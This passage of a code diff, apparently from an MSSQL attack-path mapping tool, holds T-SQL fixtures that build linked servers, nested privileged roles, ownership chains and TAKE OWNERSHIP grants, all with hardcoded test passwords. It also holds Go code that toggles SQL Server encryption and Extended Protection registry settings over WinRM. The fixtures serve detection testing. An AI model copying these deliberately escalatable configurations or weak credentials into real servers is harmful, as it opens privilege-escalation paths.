'LinkedToTest_SQLLogin_NestedControlServer', + @rmtpassword = 'EdgeTestP@ss123!'; + +-- 9. 3-level nested IMPERSONATE ANY LOGIN +EXEC sp_addlinkedserver + @server = 'TESTLINKEDTO_LOOPBACK_NESTED_IMPERSONATE', + @srvproduct = '', + @provider = 'SQLNCLI', + @datasrc = @ServerName; + +EXEC sp_addlinkedsrvlogin + @rmtsrvname = 'TESTLINKEDTO_LOOPBACK_NESTED_IMPERSONATE', + @useself = 'FALSE', + @rmtuser = 'LinkedToTest_SQLLogin_NestedImpersonate', + @rmtpassword = 'EdgeTestP@ss123!'; + +-- 10. Windows authentication +EXEC sp_addlinkedserver + @server = 'TESTLINKEDTO_LOOPBACK_WINDOWS', + @srvproduct = '', + @provider = 'SQLNCLI', + @datasrc = @ServerName; + +EXEC sp_addlinkedsrvlogin + @rmtsrvname = 'TESTLINKEDTO_LOOPBACK_WINDOWS', + @useself = 'TRUE'; -- Use Windows authentication + +-- ===================================================== +-- VERIFICATION QUERIES +-- ===================================================== +PRINT ''; +PRINT 'Created linked servers:'; +SELECT + s.name AS LinkedServerName, + s.data_source AS DataSource, + ll.remote_name AS RemoteLogin, + ll.uses_self_credential AS UsesWindowsAuth +FROM sys.servers s +INNER JOIN sys.linked_logins ll ON s.server_id = ll.server_id +WHERE s.is_linked = 1 AND s.name LIKE 'TESTLINKEDTO_LOOPBACK_%' +ORDER BY s.name; + +PRINT ''; +PRINT 'Role hierarchy verification:'; +-- Show the nested role memberships +WITH RoleHierarchy AS ( + SELECT + p.name AS principal_name, + p.type_desc AS principal_type, + r.name AS role_name, + 0 AS level, + CAST(p.name AS NVARCHAR(MAX)) AS hierarchy_path + FROM sys.server_role_members rm + INNER JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id + INNER JOIN sys.server_principals p ON rm.member_principal_id = p.principal_id + WHERE p.name LIKE 'LinkedToTest_%' + + UNION ALL + + SELECT + rh.principal_name, + rh.principal_type, + r.name AS role_name, + rh.level + 1, + rh.hierarchy_path + ' -> ' + r.name + FROM RoleHierarchy rh + INNER JOIN sys.server_role_members rm ON rm.member_principal_id = + (SELECT principal_id FROM sys.server_principals WHERE name = rh.role_name) + INNER JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id + WHERE rh.level < 5 +) +SELECT + principal_name AS Login, + hierarchy_path + ' -> ' + role_name AS RoleHierarchy, + level AS NestingLevel +FROM RoleHierarchy +WHERE principal_type = 'SQL_LOGIN' +ORDER BY principal_name, level; + +PRINT ''; +PRINT 'Authentication mode:'; +SELECT + CASE SERVERPROPERTY('IsIntegratedSecurityOnly') + WHEN 1 THEN 'Windows Authentication Only - LinkedAsAdmin edges will NOT be created' + WHEN 0 THEN 'Mixed Mode Authentication - LinkedAsAdmin edges WILL be created for admin SQL logins' + END AS AuthenticationMode; + +PRINT ''; +PRINT 'MSSQL_LinkedTo and MSSQL_LinkedAsAdmin test setup completed'; +`, + "MemberOf": ` +-- ===================================================== +-- SETUP FOR MSSQL_MemberOf EDGE TESTING +-- ===================================================== +USE master; +GO + +-- ===================================================== +-- SERVER LEVEL: Create logins and server roles +-- ===================================================== + +-- Create SQL logins +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'MemberOfTest_Login1') + CREATE LOGIN [MemberOfTest_Login1] WITH PASSWORD = 'EdgeTestP@ss123!'; + +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'MemberOfTest_Login2') + CREATE LOGIN [MemberOfTest_Login2] WITH PASSWORD = 'EdgeTestP@ss123!'; + +-- Create Windows login +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = '$Domain\EdgeTestDomainUser1') + CREATE LOGIN [$Domain\EdgeTestDomainUser1] FROM WINDOWS; + +-- Create custom server roles +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'MemberOfTest_ServerRole1' AND type = 'R') + CREATE SERVER ROLE [MemberOfTest_ServerRole1]; + +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'MemberOfTest_ServerRole2' AND type = 'R') + CREATE SERVER ROLE [MemberOfTest_ServerRole2]; + +-- ===================================================== +-- SERVER LEVEL: Create role memberships +-- ===================================================== + +-- Login -> Fixed server role +ALTER SERVER ROLE [processadmin] ADD MEMBER [MemberOfTest_Login1]; + +-- Login -> Custom server role +ALTER SERVER ROLE [MemberOfTest_ServerRole1] ADD MEMBER [MemberOfTest_Login2]; + +-- Windows login -> Fixed server role +ALTER SERVER ROLE [diskadmin] ADD MEMBER [$Domain\EdgeTestDomainUser1]; + +-- Server role -> Server role +ALTER SERVER ROLE [MemberOfTest_ServerRole2] ADD MEMBER [MemberOfTest_ServerRole1]; + +-- Server role -> Fixed server role (NOT sysadmin - that's restricted) +ALTER SERVER ROLE [securityadmin] ADD MEMBER [MemberOfTest_ServerRole2]; + +-- ===================================================== +-- DATABASE LEVEL: Create database and principals +-- ===================================================== + +CREATE DATABASE [EdgeTest_MemberOf]; +GO + +USE [EdgeTest_MemberOf]; +GO + +-- Create database users +CREATE USER [MemberOfTest_User1] FOR LOGIN [MemberOfTest_Login1]; +CREATE USER [MemberOfTest_User2] FOR LOGIN [MemberOfTest_Login2]; +CREATE USER [$Domain\EdgeTestDomainUser1] FOR LOGIN [$Domain\EdgeTestDomainUser1]; + +-- Create database user without login +CREATE USER [MemberOfTest_UserNoLogin] WITHOUT LOGIN; + +-- Create custom database roles +CREATE ROLE [MemberOfTest_DbRole1]; +CREATE ROLE [MemberOfTest_DbRole2]; + +-- Create application role +CREATE APPLICATION ROLE [MemberOfTest_AppRole] + WITH PASSWORD = 'AppRoleP@ss123!'; + +-- ===================================================== +-- DATABASE LEVEL: Create role memberships +-- ===================================================== + +-- User -> Fixed database role +ALTER ROLE [db_datareader] ADD MEMBER [MemberOfTest_User1]; + +-- User -> Custom database role +ALTER ROLE [MemberOfTest_DbRole1] ADD MEMBER [MemberOfTest_User2]; + +-- Windows user -> Fixed database role +ALTER ROLE [db_datawriter] ADD MEMBER [$Domain\EdgeTestDomainUser1]; + +-- User without login -> database role +ALTER ROLE [MemberOfTest_DbRole1] ADD MEMBER [MemberOfTest_UserNoLogin]; + +-- Database role -> Database role +ALTER ROLE [MemberOfTest_DbRole2] ADD MEMBER [MemberOfTest_DbRole1]; + +-- Database role -> Fixed database role +ALTER ROLE [db_owner] ADD MEMBER [MemberOfTest_DbRole2]; + +-- Application role -> Database role (using sp_addrolemember as per edge generator comment) +EXEC sp_addrolemember @rolename = 'MemberOfTest_DbRole1', @membername = 'MemberOfTest_AppRole'; + +USE master; +GO + +-- ===================================================== +-- VERIFICATION +-- ===================================================== +PRINT ''; +PRINT 'Server-level role memberships:'; +SELECT + m.name AS MemberName, + m.type_desc AS MemberType, + r.name AS RoleName, + r.type_desc AS RoleType +FROM sys.server_role_members rm +INNER JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id +INNER JOIN sys.server_principals m ON rm.member_principal_id = m.principal_id +WHERE m.name LIKE 'MemberOfTest_%' OR m.name LIKE '%EdgeTest%' +ORDER BY m.name, r.name; + +PRINT ''; +PRINT 'Database-level role memberships:'; +USE [EdgeTest_MemberOf]; +SELECT + m.name AS MemberName, + m.type_desc AS MemberType, + r.name AS RoleName, + r.type_desc AS RoleType +FROM sys.database_role_members rm +INNER JOIN sys.database_principals r ON rm.role_principal_id = r.principal_id +INNER JOIN sys.database_principals m ON rm.member_principal_id = m.principal_id +WHERE m.name LIKE 'MemberOfTest_%' OR m.name LIKE '%EdgeTest%' +ORDER BY m.name, r.name; + +USE master; +GO + +PRINT ''; +PRINT 'MSSQL_MemberOf test setup completed'; +`, + "Owns": ` +-- ===================================================== +-- SETUP FOR MSSQL_Owns EDGE TESTING +-- ===================================================== +USE master; +GO + +-- ===================================================== +-- SERVER LEVEL: Create logins and server roles +-- ===================================================== + +-- Create SQL logins +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'OwnsTest_Login_DbOwner') + CREATE LOGIN [OwnsTest_Login_DbOwner] WITH PASSWORD = 'EdgeTestP@ss123!'; + +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'OwnsTest_Login_RoleOwner') + CREATE LOGIN [OwnsTest_Login_RoleOwner] WITH PASSWORD = 'EdgeTestP@ss123!'; + +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'OwnsTest_Login_NoOwnership') + CREATE LOGIN [OwnsTest_Login_NoOwnership] WITH PASSWORD = 'EdgeTestP@ss123!'; + +-- Create custom server roles +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'OwnsTest_ServerRole_Owned' AND type = 'R') + CREATE SERVER ROLE [OwnsTest_ServerRole_Owned]; + +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'OwnsTest_ServerRole_Owner' AND type = 'R') + CREATE SERVER ROLE [OwnsTest_ServerRole_Owner]; + +-- ===================================================== +-- SERVER LEVEL: Set ownership +-- ===================================================== + +-- Login owns server role +ALTER AUTHORIZATION ON SERVER ROLE::[OwnsTest_ServerRole_Owned] TO [OwnsTest_Login_RoleOwner]; + +-- Server role owns another server role +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'OwnsTest_ServerRole_OwnedByRole' AND type = 'R') + CREATE SERVER ROLE [OwnsTest_ServerRole_OwnedByRole] AUTHORIZATION [OwnsTest_ServerRole_Owner]; + +-- ===================================================== +-- DATABASE LEVEL: Create databases +-- ===================================================== + +-- Database owned by login +CREATE DATABASE [EdgeTest_Owns_OwnedByLogin]; +GO +ALTER AUTHORIZATION ON DATABASE::[EdgeTest_Owns_OwnedByLogin] TO [OwnsTest_Login_DbOwner]; +GO + +-- Database for role ownership tests +CREATE DATABASE [EdgeTest_Owns_RoleTests]; +GO + +USE [EdgeTest_Owns_RoleTests]; +GO + +-- Create database users +CREATE USER [OwnsTest_User_RoleOwner] FOR LOGIN [OwnsTest_Login_RoleOwner]; +CREATE USER [OwnsTest_User_NoOwnership] FOR LOGIN [OwnsTest_Login_NoOwnership]; + +-- Create user without login +CREATE USER [OwnsTest_User_NoLogin] WITHOUT LOGIN; + +-- Create custom database roles +CREATE ROLE [OwnsTest_DbRole_Owned]; +CREATE ROLE [OwnsTest_DbRole_Owner]; +CREATE ROLE [OwnsTest_DbRole_OwnedByRole]; + +-- Create application roles (they always own themselves and can't be changed) +CREATE APPLICATION ROLE [OwnsTest_AppRole_Owner] + WITH PASSWORD = 'AppRoleP@ss123!'; + +-- ===================================================== +-- DATABASE LEVEL: Set ownership +-- ===================================================== + +-- DatabaseUser owns DatabaseRole +ALTER AUTHORIZATION ON ROLE::[OwnsTest_DbRole_Owned] TO [OwnsTest_User_RoleOwner]; + +-- DatabaseRole owns DatabaseRole +ALTER AUTHORIZATION ON ROLE::[OwnsTest_DbRole_OwnedByRole] TO [OwnsTest_DbRole_Owner]; + +-- ApplicationRole owns DatabaseRole (create with AUTHORIZATION) +CREATE ROLE [OwnsTest_DbRole_OwnedByAppRole] AUTHORIZATION [OwnsTest_AppRole_Owner]; + +USE master; +GO + +-- ===================================================== +-- VERIFICATION +-- ===================================================== +PRINT ''; +PRINT 'Database ownership:'; +SELECT + d.name AS DatabaseName, + sp.name AS OwnerName, + sp.type_desc AS OwnerType +FROM sys.databases d +INNER JOIN sys.server_principals sp ON d.owner_sid = sp.sid +WHERE d.name LIKE 'EdgeTest_Owns_%' +ORDER BY d.name; + +PRINT ''; +PRINT 'Server role ownership:'; +SELECT + r.name AS RoleName, + o.name AS OwnerName, + o.type_desc AS OwnerType +FROM sys.server_principals r +INNER JOIN sys.server_principals o ON r.owning_principal_id = o.principal_id +WHERE r.type = 'R' + AND r.name LIKE 'OwnsTest_%' +ORDER BY r.name; + +PRINT ''; +PRINT 'Database role ownership:'; +USE [EdgeTest_Owns_RoleTests]; +SELECT + r.name AS RoleName, + r.type_desc AS RoleType, + o.name AS OwnerName, + o.type_desc AS OwnerType +FROM sys.database_principals r +INNER JOIN sys.database_principals o ON r.owning_principal_id = o.principal_id +WHERE r.type IN ('R', 'A') -- Database roles and application roles + AND r.name LIKE 'OwnsTest_%' +ORDER BY r.name; + +USE master; +GO + +PRINT ''; +PRINT 'MSSQL_Owns test setup completed'; +`, + "TakeOwnership": ` +-- ===================================================== +-- SETUP FOR MSSQL_TakeOwnership EDGE TESTING +-- ===================================================== +USE master; +GO + +-- ===================================================== +-- SERVER LEVEL: Create logins and server roles +-- ===================================================== + +-- Create SQL logins +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'TakeOwnershipTest_Login_CanTakeServerRole') + CREATE LOGIN [TakeOwnershipTest_Login_CanTakeServerRole] WITH PASSWORD = 'EdgeTestP@ss123!'; + +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'TakeOwnershipTest_Login_NoPermission') + CREATE LOGIN [TakeOwnershipTest_Login_NoPermission] WITH PASSWORD = 'EdgeTestP@ss123!'; + +-- Create custom server roles (user-defined only, SQL 2012+) +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'TakeOwnershipTest_ServerRole_Target' AND type = 'R') + CREATE SERVER ROLE [TakeOwnershipTest_ServerRole_Target]; + +IF NOT EXISTS (SELECT * FROM sys.server_principals WHERE name = 'TakeOwnershipTest_ServerRole_Source' AND type = 'R') + CREATE SERVER ROLE [TakeOwnershipTest_ServerRole_Source]; + +-- ===================================================== +-- SERVER LEVEL: Grant TAKE OWNERSHIP permissions +-- ===================================================== + +-- Login can take ownership of server role +GRANT TAKE OWNERSHIP ON SERVER ROLE::[TakeOwnershipTest_ServerRole_Target] TO [TakeOwnershipTest_Login_CanTakeServerRole]; + +-- Server role can take ownership of another server role +GRANT TAKE OWNERSHIP ON SERVER ROLE::[TakeOwnershipTest_ServerRole_Target] TO [TakeOwnershipTest_ServerRole_Source]; + +-- ===================================================== +-- DATABASE LEVEL: Create database and principals +-- ===================================================== + +CREATE DATABASE [EdgeTest_TakeOwnership]; +GO + +USE [EdgeTest_TakeOwnership]; +GO + +-- Create database users +CREATE USER [TakeOwnershipTest_User_CanTakeDb] FOR LOGIN [TakeOwnershipTest_Login_CanTakeServerRole]; +CREATE USER [TakeOwnershipTest_User_CanTakeRole] FOR LOGIN [TakeOwnershipTest_Login_NoPermission]; +CREATE USER [TakeOwnershipTest_User_NoPermission] WITHOUT LOGIN; + +-- Create custom database roles +CREATE ROLE [TakeOwnershipTest_DbRole_Target]; +CREATE ROLE [TakeOwnershipTest_DbRole_Source]; +CREATE ROLE [TakeOwnershipTest_DbRole_CanTakeDb]; + +-- Create application roles +CREATE APPLICATION ROLE [TakeOwnershipTest_AppRole_CanTakeRole] + WITH PASSWORD = 'AppRoleP@ss123!'; + +CREATE APPLICATION ROLE [TakeOwnershipTest_AppRole_CanTakeDb] + WITH PASSWORD = 'AppRoleP@ss123!'; + +-- ===================================================== +-- DATABASE LEVEL: Grant TAKE OWNERSHIP permissions +-- ===================================================== + +-- User can take ownership of database +GRANT TAKE OWNERSHIP ON DATABASE::[EdgeTest_TakeOwnership] TO [TakeOwnershipTest_User_CanTakeDb]; + +-- User can take ownership of database role +GRANT TAKE OWNERSHIP ON ROLE::[TakeOwnershipTest_DbRole_Target] TO [TakeOwnershipTest_User_CanTakeRole]; + +-- Database role can take ownership of another database role +GRANT TAKE OWNERSHIP ON ROLE::[TakeOwnershipTest_DbRole_Target] TO [TakeOwnershipTest_DbRole_Source]; + +-- Database role can take ownership of database +GRANT TAKE OWNERSHIP ON DATABASE::[EdgeTest_TakeOwnership] TO [TakeOwnershipTest_DbRole_CanTakeDb]; + +-- Application role can take ownership of database role +GRANT TAKE OWNERSHIP ON ROLE::[TakeOwnershipTest_DbRole_Target] TO [TakeOwnershipTest_AppRole_CanTakeRole]; + +-- Application role can take ownership of database +GRANT TAKE OWNERSHIP ON DATABASE::[EdgeTest_TakeOwnership] TO [TakeOwnershipTest_AppRole_CanTakeDb]; + +USE master; +GO + +-- ===================================================== +-- VERIFICATION +-- ===================================================== +PRINT ''; +PRINT 'Server-level TAKE OWNERSHIP permissions:'; +SELECT + p.state_desc, + p.permission_name, + p.class_desc, + pr.name AS principal_name, + pr.type_desc AS principal_type, + CASE + WHEN p.major_id > 0 THEN (SELECT name FROM sys.server_principals WHERE principal_id = p.major_id) + ELSE 'N/A' + END AS target_object +FROM sys.server_permissions p +INNER JOIN sys.server_principals pr ON p.grantee_principal_id = pr.principal_id +WHERE p.permission_name = 'TAKE OWNERSHIP' + AND pr.name LIKE 'TakeOwnershipTest_%' +ORDER BY pr.name; + +PRINT ''; +PRINT 'Database-level TAKE OWNERSHIP permissions:'; +USE [EdgeTest_TakeOwnership]; +SELECT + p.state_desc, + p.permission_name, + p.class_desc, + pr.name AS principal_name, + pr.type_desc AS principal_type, + CASE + WHEN p.class = 0 THEN 'DATABASE' + WHEN p.class = 4 THEN (SELECT name FROM sys.database_principals WHERE principal_id = p.major_id) + ELSE 'Unknown' + END AS target_object +FROM sys.database_permissions p +INNER JOIN sys.database_principals pr ON p.grantee_principal_id = pr.principal_id +WHERE p.permission_name = 'TAKE OWNERSHIP' + AND pr.name LIKE 'TakeOwnershipTest_%' +ORDER BY pr.name; + +USE master; +GO + +PRINT ''; +PRINT 'MSSQL_TakeOwnership test setup completed'; +`, +} diff --git a/go/internal/epamatrix/epamatrix.go b/go/internal/epamatrix/epamatrix.go new file mode 100644 index 0000000..2092bbd --- /dev/null +++ b/go/internal/epamatrix/epamatrix.go @@ -0,0 +1,341 @@ +// Package epamatrix orchestrates EPA test matrix runs by configuring SQL Server +// settings via WinRM, restarting the service, and running EPA detection for each +// combination of Force Encryption, Force Strict Encryption, and Extended Protection. +package epamatrix + +import ( + "context" + "errors" + "fmt" + "net" + "os/signal" + "strconv" + "strings" + "syscall" + "time" + + "github.com/SpecterOps/MSSQLHound/internal/mssql" + "github.com/SpecterOps/MSSQLHound/internal/proxydialer" + "github.com/SpecterOps/MSSQLHound/internal/winrmclient" +) + +// MatrixConfig holds parameters for the EPA matrix test. +type MatrixConfig struct { + ServerInstance string + Domain string + LDAPUser string + LDAPPassword string + Verbose bool + Debug bool + + SQLInstanceName string // default "MSSQLSERVER" + ServiceRestartWaitSec int // default 60 + PostRestartDelaySec int // default 5 + SkipStrictEncryption bool // for pre-SQL Server 2022 + + ProxyAddr string +} + +// MatrixResult holds one row of the output table. +type MatrixResult struct { + Index int + ForceEncryption int + ForceStrictEncryption int + ExtendedProtection int + EPAResult *mssql.EPATestResult + Verdict string + Error error +} + +// RunMatrix executes the full EPA test matrix. +func RunMatrix(ctx context.Context, cfg *MatrixConfig, executor winrmclient.Executor) ([]MatrixResult, error) { + // Set defaults + if cfg.SQLInstanceName == "" { + cfg.SQLInstanceName = "MSSQLSERVER" + } + if cfg.ServiceRestartWaitSec == 0 { + cfg.ServiceRestartWaitSec = 60 + } + if cfg.PostRestartDelaySec == 0 { + cfg.PostRestartDelaySec = 5 + } + + // Step 1: Detect instance registry path + fmt.Println("Detecting SQL Server instance registry path...") + instanceInfo, err := detectInstance(ctx, executor, cfg.SQLInstanceName) + if err != nil { + return nil, fmt.Errorf("instance detection failed: %w", err) + } + fmt.Printf(" Instance: %s\n", instanceInfo.RegistryRoot) + fmt.Printf(" Registry: %s\n", instanceInfo.RegistryPath) + fmt.Printf(" Service: %s\n", instanceInfo.ServiceName) + + // Step 2: Read and save original settings + fmt.Println("\nReading current settings...") + originalSettings, err := readSettings(ctx, executor, instanceInfo.RegistryPath) + if err != nil { + return nil, fmt.Errorf("failed to read current settings: %w", err) + } + fmt.Printf(" ForceEncryption: %d\n", originalSettings.ForceEncryption) + fmt.Printf(" ForceStrictEncryption: %d\n", originalSettings.ForceStrictEncryption) + fmt.Printf(" ExtendedProtection: %d (%s)\n", originalSettings.ExtendedProtection, epIntToLabel(originalSettings.ExtendedProtection)) + + // Step 3: Set up signal handler for restore on interrupt + sigCtx, sigCancel := signal.NotifyContext(ctx, syscall.SIGINT, syscall.SIGTERM) + defer sigCancel() + + restored := false + restore := func() { + if restored { + return + } + restored = true + fmt.Println("\nRestoring original SQL Server settings...") + script := BuildWriteSettingsScript(instanceInfo.RegistryPath, *originalSettings) + _, _, restoreErr := executor.RunPowerShell(context.Background(), script) + if restoreErr != nil { + fmt.Printf("WARNING: Failed to restore settings: %v\n", restoreErr) + fmt.Printf("Manual restore needed at %s:\n", instanceInfo.RegistryPath) + fmt.Printf(" ForceEncryption=%d, ForceStrictEncryption=%d, ExtendedProtection=%d\n", + originalSettings.ForceEncryption, originalSettings.ForceStrictEncryption, + originalSettings.ExtendedProtection) + return + } + restartScript := BuildRestartServiceScript(instanceInfo.ServiceName, cfg.ServiceRestartWaitSec) + _, _, _ = executor.RunPowerShell(context.Background(), restartScript) + fmt.Println("Original settings restored successfully.") + } + defer restore() + + // Step 4: Build proxy dialer if configured + var pd proxydialer.ContextDialer + if cfg.ProxyAddr != "" { + pd, err = proxydialer.New(cfg.ProxyAddr) + if err != nil { + return nil, fmt.Errorf("failed to create proxy dialer: %w", err) + } + } + + // Step 5: Run matrix + combos := allCombinations(cfg.SkipStrictEncryption) + var results []MatrixResult + + // Extract host:port for TCP readiness checks + sqlHost, sqlPort := extractHostPort(cfg.ServerInstance) + + fmt.Printf("\nRunning %d EPA test combinations...\n", len(combos)) + + for i, combo := range combos { + // Check for interruption + select { + case <-sigCtx.Done(): + fmt.Printf("\nInterrupted after %d/%d combinations.\n", i, len(combos)) + return results, fmt.Errorf("interrupted by signal") + default: + } + + epLabel := epIntToLabel(combo.ExtendedProtection) + fmt.Printf("\n[%d/%d] ForceEncryption=%s, ForceStrictEncryption=%s, ExtendedProtection=%s\n", + i+1, len(combos), + intToYesNo(combo.ForceEncryption), + intToYesNo(combo.ForceStrictEncryption), + epLabel, + ) + + result := MatrixResult{ + Index: i + 1, + ForceEncryption: combo.ForceEncryption, + ForceStrictEncryption: combo.ForceStrictEncryption, + ExtendedProtection: combo.ExtendedProtection, + } + + // a. Write settings + writeScript := BuildWriteSettingsScript(instanceInfo.RegistryPath, combo) + if _, _, writeErr := executor.RunPowerShell(sigCtx, writeScript); writeErr != nil { + result.Error = fmt.Errorf("write settings: %w", writeErr) + result.Verdict = fmt.Sprintf("Error: write settings failed") + results = append(results, result) + fmt.Printf(" ERROR: %v\n", writeErr) + continue + } + fmt.Println(" Registry updated") + + // b. Restart service + restartScript := BuildRestartServiceScript(instanceInfo.ServiceName, cfg.ServiceRestartWaitSec) + if _, _, restartErr := executor.RunPowerShell(sigCtx, restartScript); restartErr != nil { + result.Error = fmt.Errorf("restart service: %w", restartErr) + result.Verdict = "Error: service restart failed" + results = append(results, result) + fmt.Printf(" ERROR: service restart failed: %v\n", restartErr) + continue + } + fmt.Println(" Service restarted") + + // c. Wait for SQL Server to be ready (TCP port reachable) + if waitErr := waitForPort(sigCtx, sqlHost, sqlPort, cfg.PostRestartDelaySec); waitErr != nil { + result.Error = fmt.Errorf("port readiness: %w", waitErr) + result.Verdict = "Error: SQL Server port not reachable" + results = append(results, result) + fmt.Printf(" ERROR: port not reachable: %v\n", waitErr) + continue + } + fmt.Println(" SQL Server port reachable") + + // d. Create client and run TestEPA + client := mssql.NewClient(cfg.ServerInstance, "", "") + client.SetDomain(cfg.Domain) + client.SetLDAPCredentials(cfg.LDAPUser, cfg.LDAPPassword) + client.SetVerbose(cfg.Verbose) + client.SetDebug(cfg.Debug) + if pd != nil { + client.SetProxyDialer(pd) + } + + epaResult, epaErr := client.TestEPA(sigCtx) + if epaErr != nil { + result.Error = epaErr + if mssql.IsEPAPrereqError(epaErr) { + result.Verdict = fmt.Sprintf("Error: EPA prereq failed - %v", epaErr) + } else { + result.Verdict = fmt.Sprintf("Error: %v", epaErr) + } + fmt.Printf(" EPA test error: %v\n", epaErr) + } else { + result.EPAResult = epaResult + expected := expectedEPAStatus(combo) + result.Verdict = computeVerdict(expected, epaResult) + fmt.Printf(" Detected: %s (expected: %s) -> %s\n", epaResult.EPAStatus, expected, result.Verdict) + } + + results = append(results, result) + } + + return results, nil +} + +// allCombinations returns the test matrix (12 or 6 combinations). +func allCombinations(skipStrict bool) []RegistrySettings { + var combos []RegistrySettings + for _, fe := range []int{0, 1} { + for _, fse := range []int{0, 1} { + if skipStrict && fse == 1 { + continue + } + for _, ep := range []int{0, 1, 2} { + combos = append(combos, RegistrySettings{ + ForceEncryption: fe, + ForceStrictEncryption: fse, + ExtendedProtection: ep, + }) + } + } + } + return combos +} + +func expectedEPAStatus(settings RegistrySettings) string { + switch settings.ExtendedProtection { + case 0: + return "Off" + case 1: + return "Allowed" + case 2: + return "Required" + default: + return "Unknown" + } +} + +func computeVerdict(expected string, actual *mssql.EPATestResult) string { + if actual == nil { + return "Error" + } + if actual.EPAStatus == expected { + return "Correct" + } + return fmt.Sprintf("Incorrect - detected %s, expected %s", actual.EPAStatus, expected) +} + +func detectInstance(ctx context.Context, executor winrmclient.Executor, instanceName string) (*SQLInstanceInfo, error) { + script := BuildDetectInstanceScript(instanceName) + stdout, _, err := executor.RunPowerShell(ctx, script) + if err != nil { + return nil, err + } + + parts := strings.SplitN(strings.TrimSpace(stdout), "|", 3) + if len(parts) != 3 { + return nil, fmt.Errorf("unexpected detection output: %q", stdout) + } + + return &SQLInstanceInfo{ + InstanceName: instanceName, + RegistryRoot: parts[0], + RegistryPath: parts[1], + ServiceName: parts[2], + }, nil +} + +func readSettings(ctx context.Context, executor winrmclient.Executor, registryPath string) (*RegistrySettings, error) { + script := BuildReadSettingsScript(registryPath) + stdout, _, err := executor.RunPowerShell(ctx, script) + if err != nil { + return nil, err + } + + parts := strings.SplitN(strings.TrimSpace(stdout), "|", 3) + if len(parts) != 3 { + return nil, fmt.Errorf("unexpected settings output: %q", stdout) + } + + fe, err1 := strconv.Atoi(parts[0]) + fse, err2 := strconv.Atoi(parts[1]) + ep, err3 := strconv.Atoi(parts[2]) + if err := errors.Join(err1, err2, err3); err != nil { + return nil, fmt.Errorf("parse settings: %w", err) + } + + return &RegistrySettings{ + ForceEncryption: fe, + ForceStrictEncryption: fse, + ExtendedProtection: ep, + }, nil +} + +func extractHostPort(serverInstance string) (string, string) { + host := serverInstance + port := "1433" + + // Strip instance name (host\instance or host\instance:port) + if idx := strings.Index(host, "\\"); idx != -1 { + host = host[:idx] + } + // Extract port + if h, p, err := net.SplitHostPort(host); err == nil { + host = h + port = p + } + return host, port +} + +func waitForPort(ctx context.Context, host, port string, extraDelaySec int) error { + addr := net.JoinHostPort(host, port) + for attempt := 0; attempt < 6; attempt++ { + select { + case <-ctx.Done(): + return ctx.Err() + default: + } + conn, err := net.DialTimeout("tcp", addr, 5*time.Second) + if err == nil { + conn.Close() + // Extra delay for SQL Server to fully initialize after port is open + if extraDelaySec > 0 { + time.Sleep(time.Duration(extraDelaySec) * time.Second) + } + return nil + } + time.Sleep(5 * time.Second) + } + return fmt.Errorf("port %s not reachable after 30 seconds", addr) +} diff --git a/go/internal/epamatrix/registry.go b/go/internal/epamatrix/registry.go new file mode 100644 index 0000000..c6ca05c --- /dev/null +++ b/go/internal/epamatrix/registry.go @@ -0,0 +1,85 @@ +package epamatrix + +import "fmt" + +// RegistrySettings holds the three SQL Server EPA-related registry values. +type RegistrySettings struct { + ForceEncryption int // 0 or 1 + ForceStrictEncryption int // 0 or 1 + ExtendedProtection int // 0, 1, or 2 +} + +// SQLInstanceInfo holds auto-detected SQL Server instance details. +type SQLInstanceInfo struct { + InstanceName string // e.g. "MSSQLSERVER" or "SQLEXPRESS" + RegistryRoot string // e.g. "MSSQL16.MSSQLSERVER" + ServiceName string // e.g. "MSSQLSERVER" or "MSSQL$SQLEXPRESS" + RegistryPath string // full path to SuperSocketNetLib key +} + +// BuildDetectInstanceScript returns PowerShell that finds the SQL Server instance +// registry root and outputs "RegistryRoot|RegistryPath|ServiceName". +func BuildDetectInstanceScript(instanceName string) string { + return fmt.Sprintf(`$ErrorActionPreference = 'Stop' +$instanceName = '%s' +$instances = Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL' +$root = $instances.$instanceName +if (-not $root) { + $available = ($instances.PSObject.Properties | Where-Object { $_.Name -notin @('PSPath','PSParentPath','PSChildName','PSDrive','PSProvider') } | ForEach-Object { $_.Name }) -join ', ' + throw "Instance '$instanceName' not found. Available: $available" +} +$regPath = "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\$root\MSSQLServer\SuperSocketNetLib" +if (-not (Test-Path $regPath)) { + throw "Registry path not found: $regPath" +} +$svcName = if ($instanceName -eq 'MSSQLSERVER') { 'MSSQLSERVER' } else { 'MSSQL$' + $instanceName } +Write-Output "$root|$regPath|$svcName" +`, instanceName) +} + +// BuildReadSettingsScript returns PowerShell that reads the current EPA-related +// registry values and outputs "ForceEncryption|ForceStrictEncryption|ExtendedProtection". +func BuildReadSettingsScript(registryPath string) string { + return fmt.Sprintf(`$ErrorActionPreference = 'Stop' +$path = '%s' +$fe = (Get-ItemProperty $path -Name ForceEncryption -ErrorAction SilentlyContinue).ForceEncryption +$fse = (Get-ItemProperty $path -Name ForceStrictEncryption -ErrorAction SilentlyContinue).ForceStrictEncryption +$ep = (Get-ItemProperty $path -Name ExtendedProtection -ErrorAction SilentlyContinue).ExtendedProtection +if ($null -eq $fe) { $fe = 0 } +if ($null -eq $fse) { $fse = 0 } +if ($null -eq $ep) { $ep = 0 } +Write-Output "$fe|$fse|$ep" +`, registryPath) +} + +// BuildWriteSettingsScript returns PowerShell that sets the EPA-related registry values. +func BuildWriteSettingsScript(registryPath string, settings RegistrySettings) string { + return fmt.Sprintf(`$ErrorActionPreference = 'Stop' +$path = '%s' +Set-ItemProperty -Path $path -Name ForceEncryption -Value %d 